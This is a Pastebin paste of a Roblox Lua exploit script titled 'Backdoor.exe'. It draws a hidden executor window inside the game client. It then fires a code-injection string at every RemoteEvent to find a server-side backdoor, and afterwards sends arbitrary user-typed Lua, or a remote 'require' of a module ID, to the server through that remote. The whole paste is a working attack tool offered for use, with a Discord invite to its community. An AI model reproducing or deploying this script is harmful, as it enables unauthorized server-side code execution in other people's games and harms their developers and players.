AA122294

Untitled

Jan 7th, 2026
109
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 24.58 KB | None | 0 0
  1. local Players = game:GetService("Players")
  2. local StarterGui = game:GetService("StarterGui")
  3. local CoreGui = game:GetService("CoreGui")
  4.  
  5. local LocalPlayer = Players.LocalPlayer
  6.  
  7. -- Fungsi Notifikasi yang lebih lengkap
  8. local function Notify(title, text, duration)
  9. pcall(function()
  10. StarterGui:SetCore("SendNotification", {
  11. Title = title,
  12. Text = text,
  13. Duration = duration or 5
  14. })
  15. end)
  16. end
  17.  
  18. -- Variabel identifikasi (Salt)
  19. local salt = "41684139854"
  20.  
  21. -- Proses Pembersihan
  22. local function CleanupGuis()
  23. local count = 0
  24. local robloxGui = CoreGui:FindFirstChild("RobloxGui")
  25.  
  26. if robloxGui then
  27. for _, gui in ipairs(robloxGui:GetChildren()) do
  28. -- Mengecek apakah GUI mengandung 'salt' di namanya
  29. if gui:IsA("ScreenGui") and string.find(gui.Name, salt) then
  30. gui:Destroy()
  31. count = count + 1
  32. end
  33. end
  34. end
  35.  
  36. if count > 0 then
  37. Notify("Cleanup Success", "Berhasil menghapus " .. tostring(count) .. " GUI lama.")
  38. else
  39. Notify("System", "Tidak ditemukan GUI lama untuk dibersihkan.")
  40. end
  41. end
  42.  
  43. -- Jalankan fungsi
  44. CleanupGuis()
  45.  
  46.  
  47. local backdoorexesource = Instance.new("ScreenGui")
  48. if syn then syn.protect_gui(backdoorexesource) end
  49. local Main = Instance.new("Frame")
  50. local sourceFrame = Instance.new("ScrollingFrame")
  51. local source = Instance.new("TextBox")
  52. local lines = Instance.new("TextLabel")
  53. local Globals_ = Instance.new("TextLabel")
  54. local Keywords_ = Instance.new("TextLabel")
  55. local Numbers_ = Instance.new("TextLabel")
  56. local RemoteHighlight_ = Instance.new("TextLabel")
  57. local Strings_ = Instance.new("TextLabel")
  58. local Tokens_ = Instance.new("TextLabel")
  59. local Comments_ = Instance.new("TextLabel")
  60. local executeButton = Instance.new("TextButton")
  61. local AttachButton = Instance.new("TextButton")
  62. local clearButton = Instance.new("TextButton")
  63. local closeButton = Instance.new("TextButton")
  64. local Minimise = Instance.new("TextButton")
  65. local backdoorexe = Instance.new("TextLabel")
  66. local R6Button = Instance.new("TextButton")
  67. local UICorner = Instance.new("UICorner")
  68. local sourceEngine = Instance.new("TextLabel")
  69. local Disc = Instance.new("TextButton")
  70.  
  71. backdoorexesource.Name = tostring(math.random(100000000,1000000000) .. salt)
  72. backdoorexesource.Parent = game.CoreGui.RobloxGui
  73. backdoorexesource.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
  74. backdoorexesource.ResetOnSpawn = false
  75.  
  76. Main.Name = "Main"
  77. Main.Parent = backdoorexesource
  78. Main.BackgroundColor3 = Color3.fromRGB(45, 45, 45)
  79. Main.BorderColor3 = Color3.fromRGB(31, 31, 31)
  80. Main.BorderSizePixel = 2
  81. Main.Position = UDim2.new(0.264460564, 0, 0.279420495, 0)
  82. Main.Size = UDim2.new(0, 624, 0, 358)
  83.  
  84. sourceFrame.Name = "sourceFrame"
  85. sourceFrame.Parent = Main
  86. sourceFrame.Active = true
  87. sourceFrame.BackgroundColor3 = Color3.fromRGB(31, 31, 31)
  88. sourceFrame.BorderColor3 = Color3.fromRGB(26, 26, 26)
  89. sourceFrame.BorderSizePixel = 3
  90. sourceFrame.Position = UDim2.new(0.0199999679, 0, 0.0970791876, 0)
  91. sourceFrame.Size = UDim2.new(0, 598, 0, 270)
  92.  
  93. source.Name = "source"
  94. source.Parent = sourceFrame
  95. source.BackgroundColor3 = Color3.fromRGB(31, 31, 31)
  96. source.BorderSizePixel = 0
  97. source.Position = UDim2.new(0.0352144279, 0, 0, 0)
  98. source.Size = UDim2.new(0, 569, 0, 1744)
  99. source.ClearTextOnFocus = false
  100. source.Font = Enum.Font.Code
  101. source.MultiLine = true
  102. source.PlaceholderText = "--script here"
  103. source.Text = ""
  104. source.TextColor3 = Color3.fromRGB(255, 255, 255)
  105. source.TextSize = 18.000
  106. source.TextWrapped = true
  107. source.TextXAlignment = Enum.TextXAlignment.Left
  108. source.TextYAlignment = Enum.TextYAlignment.Top
  109.  
  110. lines.Name = "lines"
  111. lines.Parent = source
  112. lines.BackgroundColor3 = Color3.fromRGB(31, 31, 31)
  113. lines.BorderColor3 = Color3.fromRGB(84, 84, 84)
  114. lines.Position = UDim2.new(-0.0403855219, 0, 0, 0)
  115. lines.Size = UDim2.new(0, 20, 0, 1742)
  116. lines.Font = Enum.Font.Code
  117. lines.Text = "1"
  118. lines.TextColor3 = Color3.fromRGB(255, 255, 255)
  119. lines.TextSize = 18.000
  120. lines.TextYAlignment = Enum.TextYAlignment.Top
  121.  
  122. Globals_.Name = "Globals_"
  123. Globals_.Parent = source
  124. Globals_.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  125. Globals_.BackgroundTransparency = 1.000
  126. Globals_.ClipsDescendants = true
  127. Globals_.Size = UDim2.new(0, 561, 0, 1744)
  128. Globals_.ZIndex = 5
  129. Globals_.Font = Enum.Font.Code
  130. Globals_.Text = ""
  131. Globals_.TextColor3 = Color3.fromRGB(132, 214, 247)
  132. Globals_.TextSize = 18.000
  133. Globals_.TextWrapped = true
  134. Globals_.TextXAlignment = Enum.TextXAlignment.Left
  135. Globals_.TextYAlignment = Enum.TextYAlignment.Top
  136.  
  137. Keywords_.Name = "Keywords_"
  138. Keywords_.Parent = source
  139. Keywords_.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  140. Keywords_.BackgroundTransparency = 1.000
  141. Keywords_.ClipsDescendants = true
  142. Keywords_.Size = UDim2.new(0, 561, 0, 1744)
  143. Keywords_.ZIndex = 5
  144. Keywords_.Font = Enum.Font.Code
  145. Keywords_.Text = ""
  146. Keywords_.TextColor3 = Color3.fromRGB(248, 109, 124)
  147. Keywords_.TextSize = 18.000
  148. Keywords_.TextWrapped = true
  149. Keywords_.TextXAlignment = Enum.TextXAlignment.Left
  150. Keywords_.TextYAlignment = Enum.TextYAlignment.Top
  151.  
  152. Numbers_.Name = "Numbers_"
  153. Numbers_.Parent = source
  154. Numbers_.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  155. Numbers_.BackgroundTransparency = 1.000
  156. Numbers_.ClipsDescendants = true
  157. Numbers_.Size = UDim2.new(0, 561, 0, 1744)
  158. Numbers_.ZIndex = 4
  159. Numbers_.Font = Enum.Font.Code
  160. Numbers_.Text = ""
  161. Numbers_.TextColor3 = Color3.fromRGB(255, 194, 89)
  162. Numbers_.TextSize = 18.000
  163. Numbers_.TextWrapped = true
  164. Numbers_.TextXAlignment = Enum.TextXAlignment.Left
  165. Numbers_.TextYAlignment = Enum.TextYAlignment.Top
  166.  
  167. RemoteHighlight_.Name = "RemoteHighlight_"
  168. RemoteHighlight_.Parent = source
  169. RemoteHighlight_.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  170. RemoteHighlight_.BackgroundTransparency = 1.000
  171. RemoteHighlight_.ClipsDescendants = true
  172. RemoteHighlight_.Size = UDim2.new(0, 561, 0, 1744)
  173. RemoteHighlight_.ZIndex = 5
  174. RemoteHighlight_.Font = Enum.Font.Code
  175. RemoteHighlight_.Text = ""
  176. RemoteHighlight_.TextColor3 = Color3.fromRGB(11, 255, 203)
  177. RemoteHighlight_.TextSize = 18.000
  178. RemoteHighlight_.TextWrapped = true
  179. RemoteHighlight_.TextXAlignment = Enum.TextXAlignment.Left
  180. RemoteHighlight_.TextYAlignment = Enum.TextYAlignment.Top
  181.  
  182. Strings_.Name = "Strings_"
  183. Strings_.Parent = source
  184. Strings_.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  185. Strings_.BackgroundTransparency = 1.000
  186. Strings_.ClipsDescendants = true
  187. Strings_.Size = UDim2.new(0, 561, 0, 1744)
  188. Strings_.ZIndex = 5
  189. Strings_.Font = Enum.Font.Code
  190. Strings_.Text = ""
  191. Strings_.TextColor3 = Color3.fromRGB(173, 241, 149)
  192. Strings_.TextSize = 18.000
  193. Strings_.TextWrapped = true
  194. Strings_.TextXAlignment = Enum.TextXAlignment.Left
  195. Strings_.TextYAlignment = Enum.TextYAlignment.Top
  196.  
  197. Tokens_.Name = "Tokens_"
  198. Tokens_.Parent = source
  199. Tokens_.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  200. Tokens_.BackgroundTransparency = 1.000
  201. Tokens_.ClipsDescendants = true
  202. Tokens_.Size = UDim2.new(0, 561, 0, 1744)
  203. Tokens_.ZIndex = 5
  204. Tokens_.Font = Enum.Font.Code
  205. Tokens_.Text = ""
  206. Tokens_.TextColor3 = Color3.fromRGB(255, 255, 255)
  207. Tokens_.TextSize = 18.000
  208. Tokens_.TextWrapped = true
  209. Tokens_.TextXAlignment = Enum.TextXAlignment.Left
  210. Tokens_.TextYAlignment = Enum.TextYAlignment.Top
  211.  
  212. Comments_.Name = "Comments_"
  213. Comments_.Parent = source
  214. Comments_.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  215. Comments_.BackgroundTransparency = 1.000
  216. Comments_.ClipsDescendants = true
  217. Comments_.Size = UDim2.new(0, 561, 0, 1744)
  218. Comments_.Visible = false
  219. Comments_.ZIndex = 5
  220. Comments_.Font = Enum.Font.Code
  221. Comments_.Text = ""
  222. Comments_.TextColor3 = Color3.fromRGB(86, 86, 86)
  223. Comments_.TextSize = 18.000
  224. Comments_.TextTransparency = 1.000
  225. Comments_.TextWrapped = true
  226. Comments_.TextXAlignment = Enum.TextXAlignment.Left
  227. Comments_.TextYAlignment = Enum.TextYAlignment.Top
  228.  
  229. executeButton.Name = "executeButton"
  230. executeButton.Parent = Main
  231. executeButton.BackgroundColor3 = Color3.fromRGB(31, 31, 31)
  232. executeButton.BorderSizePixel = 0
  233. executeButton.Position = UDim2.new(0.0192307699, 0, 0.881985486, 0)
  234. executeButton.Size = UDim2.new(0, 200, 0, 33)
  235. executeButton.Font = Enum.Font.Gotham
  236. executeButton.Text = "Execute"
  237. executeButton.TextColor3 = Color3.fromRGB(50, 50, 50)
  238. executeButton.TextSize = 20.000
  239.  
  240. AttachButton.Name = "AttachButton"
  241. AttachButton.Parent = Main
  242. AttachButton.BackgroundColor3 = Color3.fromRGB(31, 31, 31)
  243. AttachButton.BorderSizePixel = 0
  244. AttachButton.Position = UDim2.new(0.355769217, 0, 0.881985486, 0)
  245. AttachButton.Size = UDim2.new(0, 179, 0, 33)
  246. AttachButton.Font = Enum.Font.Gotham
  247. AttachButton.Text = "Attach"
  248. AttachButton.TextColor3 = Color3.fromRGB(255,255,255)
  249. AttachButton.TextSize = 20.000
  250.  
  251. clearButton.Name = "clearButton"
  252. clearButton.Parent = Main
  253. clearButton.BackgroundColor3 = Color3.fromRGB(31, 31, 31)
  254. clearButton.BorderSizePixel = 0
  255. clearButton.Position = UDim2.new(0.657051265, 0, 0.881985486, 0)
  256. clearButton.Size = UDim2.new(0, 200, 0, 33)
  257. clearButton.Font = Enum.Font.Gotham
  258. clearButton.Text = "Clear"
  259. clearButton.TextColor3 = Color3.fromRGB(50, 50, 50)
  260. clearButton.TextSize = 20.000
  261.  
  262. closeButton.Name = "closeButton"
  263. closeButton.Parent = Main
  264. closeButton.BackgroundColor3 = Color3.fromRGB(31, 31, 31)
  265. closeButton.BorderSizePixel = 0
  266. closeButton.Position = UDim2.new(0.915064096, 0, 0.0183475856, 0)
  267. closeButton.Size = UDim2.new(0, 39, 0, 20)
  268. closeButton.Font = Enum.Font.Gotham
  269. closeButton.Text = "X"
  270. closeButton.TextColor3 = Color3.fromRGB(255, 66, 69)
  271. closeButton.TextSize = 20.000
  272.  
  273. Minimise.Name = "Minimise"
  274. Minimise.Parent = Main
  275. Minimise.BackgroundColor3 = Color3.fromRGB(31, 31, 31)
  276. Minimise.BorderSizePixel = 0
  277. Minimise.Position = UDim2.new(0.842948735, 0, 0.0183475856, 0)
  278. Minimise.Size = UDim2.new(0, 39, 0, 20)
  279. Minimise.Font = Enum.Font.Gotham
  280. Minimise.Text = "-"
  281. Minimise.TextColor3 = Color3.fromRGB(255, 255, 255)
  282. Minimise.TextSize = 20.000
  283.  
  284. backdoorexe.Name = "backdoorexe"
  285. backdoorexe.Parent = Main
  286. backdoorexe.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  287. backdoorexe.BackgroundTransparency = 1.000
  288. backdoorexe.BorderSizePixel = 0
  289. backdoorexe.Position = UDim2.new(0.0176282059, 0, 0.0195487682, 0)
  290. backdoorexe.Size = UDim2.new(0, 178, 0, 19)
  291. backdoorexe.Font = Enum.Font.Gotham
  292. backdoorexe.Text = "Backdoor.exe"
  293. backdoorexe.TextColor3 = Color3.fromRGB(255, 255, 255)
  294. backdoorexe.TextSize = 30.000
  295.  
  296. R6Button.Name = "R6Button"
  297. R6Button.Parent = Main
  298. R6Button.BackgroundColor3 = Color3.fromRGB(31, 31, 31)
  299. R6Button.BorderSizePixel = 0
  300. R6Button.Position = UDim2.new(0.767628193, 0, 0.0183475856, 0)
  301. R6Button.Size = UDim2.new(0, 39, 0, 20)
  302. R6Button.Font = Enum.Font.Gotham
  303. R6Button.Text = "R6"
  304. R6Button.TextColor3 = Color3.fromRGB(50, 50, 50)
  305. R6Button.TextSize = 20.000
  306.  
  307. UICorner.Parent = R6Button
  308.  
  309. sourceEngine.Name = "sourceEngine"
  310. sourceEngine.Parent = Main
  311. sourceEngine.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  312. sourceEngine.BackgroundTransparency = 1.000
  313. sourceEngine.BorderSizePixel = 0
  314. sourceEngine.Position = UDim2.new(0.288461536, 0, 0.0183475427, 0)
  315. sourceEngine.Size = UDim2.new(0, 94, 0, 9)
  316. sourceEngine.Font = Enum.Font.Gotham
  317. sourceEngine.Text = "Source λ"
  318. sourceEngine.TextColor3 = Color3.fromRGB(255, 134, 47)
  319. sourceEngine.TextSize = 18.000
  320.  
  321. Disc.Name = "Discord"
  322. Disc.Parent = Main
  323. Disc.BackgroundColor3 = Color3.fromRGB(31, 31, 31)
  324. Disc.BorderSizePixel = 0
  325. Disc.Position = UDim2.new(0.552948735, 0, 0.0183475856, 0)
  326. Disc.Size = UDim2.new(0, 120, 0, 20)
  327. Disc.Font = Enum.Font.Gotham
  328. Disc.Text = " Disc: 4tRadfjY69"
  329. Disc.TextColor3 = Color3.fromRGB(255, 255, 255)
  330. Disc.TextSize = 15
  331. Disc.TextScaled = true
  332.  
  333. verboseOutput = false
  334. instantScanMode = true
  335. local UserInputService = game:GetService("UserInputService")
  336. local gui = Main
  337. local dragging
  338. local dragInput
  339. local dragStart
  340. local startPos
  341. EasingDir = Enum.EasingDirection.Out
  342. EasingSty = Enum.EasingStyle.Quint
  343. EasingTim = 0.69 --nice
  344. EasingOve = true
  345.  
  346. local function update(input)
  347. local delta = input.Position - dragStart
  348. gui:TweenPosition(
  349. UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y),
  350. EasingDir,
  351. EasingSty,
  352. EasingTim,
  353. EasingOve
  354. )
  355. game:GetService("RunService").Stepped:Wait()
  356. end
  357. gui.InputBegan:Connect(
  358. function(input)
  359. if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
  360. dragging = true
  361. dragStart = input.Position
  362. startPos = gui.Position
  363. input.Changed:Connect(
  364. function()
  365. if input.UserInputState == Enum.UserInputState.End then
  366. dragging = false
  367. end
  368. end
  369. )
  370. end
  371. end
  372. )
  373. gui.InputChanged:Connect(
  374. function(input)
  375. if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
  376. dragInput = input
  377. end
  378. end
  379. )
  380. UserInputService.InputChanged:Connect(
  381. function(input)
  382. if input == dragInput and dragging then
  383. update(input)
  384. end
  385. end
  386. )
  387.  
  388. checkDebounce = true
  389. function Attached()
  390. if workspace:FindFirstChild(valueName) then
  391. game.workspace:WaitForChild(valueName):Destroy()
  392. end
  393. executeButton.TextColor3 = Color3.fromRGB(255,255,255)
  394. clearButton.TextColor3 = Color3.fromRGB(255,255,255)
  395. R6Button.TextColor3 = Color3.fromRGB(255,255,255)
  396. source.TextEditable = true
  397. Notify('Backdoor.exe','Attached')
  398. found = true
  399. end
  400. cachEnabled = false
  401. found = false
  402. local LocalPlayer = LocalPlayer
  403. valueName =
  404. "dfees2x" ..
  405. LocalPlayer.Name ..
  406. string.char(math.random(65, 90)) .. string.char(math.random(65, 90)) .. math.random(100000, 999999)
  407. function check()
  408. if workspace:FindFirstChild(valueName) then
  409. remote = stringToInstance(workspace:FindFirstChild(valueName).Value)
  410. return true
  411. end
  412. end
  413. function stringToInstance(str) -- Credits to the DevForum
  414. local dir = str
  415. local segments = dir:split(".")
  416. local current = game
  417. for i, v in pairs(segments) do
  418. current = current[v]
  419. end
  420. return current
  421. end
  422. function scan()
  423. found = false
  424. scanDebounce = false
  425. executeButton.TextColor3 = Color3.fromRGB(50, 50, 50)
  426. clearButton.TextColor3 = Color3.fromRGB(50, 50, 50)
  427. R6Button.TextColor3 = Color3.fromRGB(50, 50, 50)
  428. source.TextEditable = false
  429. for _, rm in pairs(game:GetDescendants()) do
  430. if rm.ClassName == "RemoteEvent" and not found then
  431. if rm.Parent ~= game:GetService("JointsService") then
  432. rm:FireServer(
  433. "a = Instance.new('StringValue',workspace) a.Name = '" ..
  434. valueName .. "' a.Value = '" .. rm:GetFullName() .. "'"
  435. )
  436. game:GetService("RunService").Stepped:Wait()
  437. end
  438. if check() then
  439. Attached()
  440. backdoor = remote:GetFullName()
  441. break
  442. end
  443. end
  444. end
  445. if not found then
  446. wait(1.5)
  447. if check() then
  448. Attached()
  449. backdoor = remote:GetFullName()
  450. end
  451. end
  452. if not found then
  453. Notify("backdoor.exe","Status: failed to find a backdoor")
  454. end
  455. wait(0.01)
  456. scanDebounce = true
  457. end
  458. Adebounce = true
  459. AttachButton.MouseButton1Click:Connect(
  460. function()
  461. if Adebounce then
  462. Adebounce = false
  463. for _, cach in pairs(game:GetDescendants()) do
  464. if cach.ClassName == "StringValue" and cach.Name == "cached remote" then
  465. local backdoor = cach.Parent:GetFullName()
  466. remote = cach.Parent
  467. Attached()
  468. cached = true
  469. Adebounce = true
  470. break
  471. end
  472. end
  473. if game.ReplicatedStorage:FindFirstChild("Chat") then
  474. qrm = game.ReplicatedStorage:FindFirstChild("Chat")
  475. qrm:FireServer(Script)
  476. wait(0.15)
  477. if check(qrm) then
  478. Attached()
  479. end
  480. rsc = true
  481. end
  482. if not cached and not rsc then
  483. scan()
  484. Adebounce = true
  485. end
  486. end
  487. end
  488. )
  489. clearButton.MouseButton1Click:Connect(
  490. function()
  491. source.TextEditable = false
  492. source.Text = "*poof*"
  493. wait(.25)
  494. source.Text = ""
  495. source.TextEditable = true
  496. end
  497. )
  498.  
  499. Disc.MouseButton1Click:Connect(
  500. function()
  501. setclipboard("https://discord.gg/4tRadfjY69")
  502. end
  503. )
  504.  
  505. closeButton.MouseButton1Click:Connect(
  506. function()
  507. Main:TweenPosition(UDim2.new(0, 0, -1, 0))
  508. wait(1)
  509. backdoorexesource:Destroy()
  510. end
  511. )
  512. R6Button.MouseButton1Click:Connect(
  513. function()
  514. if found then
  515. remote:FireServer('require(3041175937):r6("' .. LocalPlayer.Name .. '")')
  516. end
  517. end
  518. )
  519. executeButton.MouseButton1Click:connect(
  520. function()
  521. if found then
  522. remote:FireServer(source.Text)
  523. end
  524. end
  525. )
  526. scanDebounce = true
  527.  
  528. -- Line Counter -- Credits to JohnWare, just slightly modified it..
  529. -- This code is amazing code
  530. source.Changed:Connect(
  531. function(Change)
  532. if Change == "TextBounds" then
  533. local Amount = source.TextBounds.Y / 18
  534. lines.Text = ""
  535. for i = 1, Amount do
  536. lines.Text = lines.Text .. i .. "\n"
  537. end
  538. end
  539. end
  540. )
  541.  
  542. -- [[ Syntax Highlight ]] -- Not made by me, I DO NOT TAKE CREDITS FOR THESE NOT IN THE SLIGHTEST IM NOT SMART ENOUGH FOR THIS SHIT
  543. -- also amazing code and I could never come up with this, ALL credits go to the respectfull creator! idk who... but +rep for them..
  544. local lua_keywords = {
  545. "and",
  546. "break",
  547. "do",
  548. "else",
  549. "elseif",
  550. "end",
  551. "false",
  552. "for",
  553. "function",
  554. "goto",
  555. "if",
  556. "in",
  557. "local",
  558. "nil",
  559. "not",
  560. "or",
  561. "repeat",
  562. "return",
  563. "then",
  564. "true",
  565. "until",
  566. "while"
  567. }
  568. local global_env = {
  569. "getrawmetatable",
  570. "game",
  571. "workspace",
  572. "script",
  573. "math",
  574. "string",
  575. "table",
  576. "print",
  577. "wait",
  578. "BrickColor",
  579. "Color3",
  580. "next",
  581. "pairs",
  582. "ipairs",
  583. "select",
  584. "unpack",
  585. "Instance",
  586. "Vector2",
  587. "Vector3",
  588. "CFrame",
  589. "Ray",
  590. "UDim2",
  591. "Enum",
  592. "assert",
  593. "error",
  594. "warn",
  595. "tick",
  596. "loadstring",
  597. "_G",
  598. "shared",
  599. "getfenv",
  600. "setfenv",
  601. "newproxy",
  602. "setmetatable",
  603. "getmetatable",
  604. "os",
  605. "debug",
  606. "pcall",
  607. "ypcall",
  608. "xpcall",
  609. "rawequal",
  610. "rawset",
  611. "rawget",
  612. "tonumber",
  613. "tostring",
  614. "type",
  615. "typeof",
  616. "_VERSION",
  617. "coroutine",
  618. "delay",
  619. "require",
  620. "spawn",
  621. "LoadLibrary",
  622. "settings",
  623. "stats",
  624. "time",
  625. "UserSettings",
  626. "version",
  627. "Axes",
  628. "ColorSequence",
  629. "Faces",
  630. "ColorSequenceKeypoint",
  631. "NumberRange",
  632. "NumberSequence",
  633. "NumberSequenceKeypoint",
  634. "gcinfo",
  635. "elapsedTime",
  636. "collectgarbage",
  637. "PhysicalProperties",
  638. "Rect",
  639. "Region3",
  640. "Region3int16",
  641. "UDim",
  642. "Vector2int16",
  643. "Vector3int16"
  644. }
  645. local Highlight = function(string, keywords)
  646. local K = {}
  647. local S = string
  648. local Token = {
  649. ["="] = true,
  650. ["."] = true,
  651. [","] = true,
  652. ["("] = true,
  653. [")"] = true,
  654. ["["] = true,
  655. ["]"] = true,
  656. ["{"] = true,
  657. ["}"] = true,
  658. [":"] = true,
  659. ["*"] = true,
  660. ["/"] = true,
  661. ["+"] = true,
  662. ["-"] = true,
  663. ["%"] = true,
  664. [";"] = true,
  665. ["~"] = true
  666. }
  667. for i, v in pairs(keywords) do
  668. K[v] = true
  669. end
  670. S =
  671. S:gsub(
  672. ".",
  673. function(c)
  674. if Token[c] ~= nil then
  675. return "\32"
  676. else
  677. return c
  678. end
  679. end
  680. )
  681. S =
  682. S:gsub(
  683. "%S+",
  684. function(c)
  685. if K[c] ~= nil then
  686. return c
  687. else
  688. return (" "):rep(#c)
  689. end
  690. end
  691. )
  692. return S
  693. end
  694. local hTokens = function(string)
  695. local Token = {
  696. ["="] = true,
  697. ["."] = true,
  698. [","] = true,
  699. ["("] = true,
  700. [")"] = true,
  701. ["["] = true,
  702. ["]"] = true,
  703. ["{"] = true,
  704. ["}"] = true,
  705. [":"] = true,
  706. ["*"] = true,
  707. ["/"] = true,
  708. ["+"] = true,
  709. ["-"] = true,
  710. ["%"] = true,
  711. [";"] = true,
  712. ["~"] = true
  713. }
  714. local A = ""
  715. string:gsub(
  716. ".",
  717. function(c)
  718. if Token[c] ~= nil then
  719. A = A .. c
  720. elseif c == "\n" then
  721. A = A .. "\n"
  722. elseif c == "\t" then
  723. A = A .. "\t"
  724. else
  725. A = A .. "\32"
  726. end
  727. end
  728. )
  729. return A
  730. end
  731. local strings = function(string)
  732. local highlight = ""
  733. local quote = false
  734. string:gsub(
  735. ".",
  736. function(c)
  737. if quote == false and c == '"' then
  738. quote = true
  739. elseif quote == false and c == "'" then
  740. quote = true
  741. elseif quote == true and c == '"' then
  742. quote = false
  743. elseif quote == true and c == "'" then
  744. quote = false
  745. end
  746. if quote == false and c == '"' then
  747. highlight = highlight .. '"'
  748. elseif quote == false and c == "'" then
  749. highlight = highlight .. "'"
  750. elseif c == "\n" then
  751. highlight = highlight .. "\n"
  752. elseif c == "\t" then
  753. highlight = highlight .. "\t"
  754. elseif quote == true then
  755. highlight = highlight .. c
  756. elseif quote == false then
  757. highlight = highlight .. "\32"
  758. end
  759. end
  760. )
  761. return highlight
  762. end
  763. local comments = function(string)
  764. local ret = ""
  765. string:gsub(
  766. "[^\r\n]+",
  767. function(c)
  768. local comm = false
  769. local i = 0
  770. c:gsub(
  771. ".",
  772. function(n)
  773. i = i + 1
  774. if c:sub(i, i + 1) == "--" then
  775. comm = true
  776. end
  777. if comm == true then
  778. ret = ret .. n
  779. else
  780. ret = ret .. "\32"
  781. end
  782. end
  783. )
  784. ret = ret
  785. end
  786. )
  787. return ret
  788. end
  789. local numbers = function(string)
  790. local A = ""
  791. string:gsub(
  792. ".",
  793. function(c)
  794. if tonumber(c) ~= nil then
  795. A = A .. c
  796. elseif c == "\n" then
  797. A = A .. "\n"
  798. elseif c == "\t" then
  799. A = A .. "\t"
  800. else
  801. A = A .. "\32"
  802. end
  803. end
  804. )
  805. return A
  806. end
  807. local highlight_source = function(type)
  808. if type == "Text" then
  809. source.Text = source.Text:gsub("\13", "")
  810. source.Text = source.Text:gsub("\t", " ")
  811. local s = source.Text
  812. source.Keywords_.Text = Highlight(s, lua_keywords)
  813. source.Globals_.Text = Highlight(s, global_env)
  814. source.RemoteHighlight_.Text =
  815. Highlight(
  816. s,
  817. {
  818. "FireServer",
  819. "fireServer",
  820. "InvokeServer",
  821. "invokeServer"
  822. }
  823. )
  824. source.Tokens_.Text = hTokens(s)
  825. source.Numbers_.Text = numbers(s)
  826. source.Strings_.Text = strings(s)
  827. source.Comments_.Text = comments(s)
  828. local lin = 1
  829. s:gsub(
  830. "\n",
  831. function()
  832. lin = lin + 1
  833. end
  834. )
  835. lines.Text = ""
  836. for i = 1, lin do
  837. lines.Text = lines.Text .. i .. "\n"
  838. end
  839. end
  840. end
  841. highlight_source("Text")
  842. source.Changed:Connect(highlight_source)
  843.  
  844. --------------------------------------------------------------------------------------------------------\
  845. WelcomeString = "praise allah dong"
  846. for i = 1, string.len(WelcomeString) do
  847. wait(.01)
  848. source.Text = string.sub(WelcomeString, 1, i)
  849. end
Advertisement
Add Comment
Please, Sign In to add comment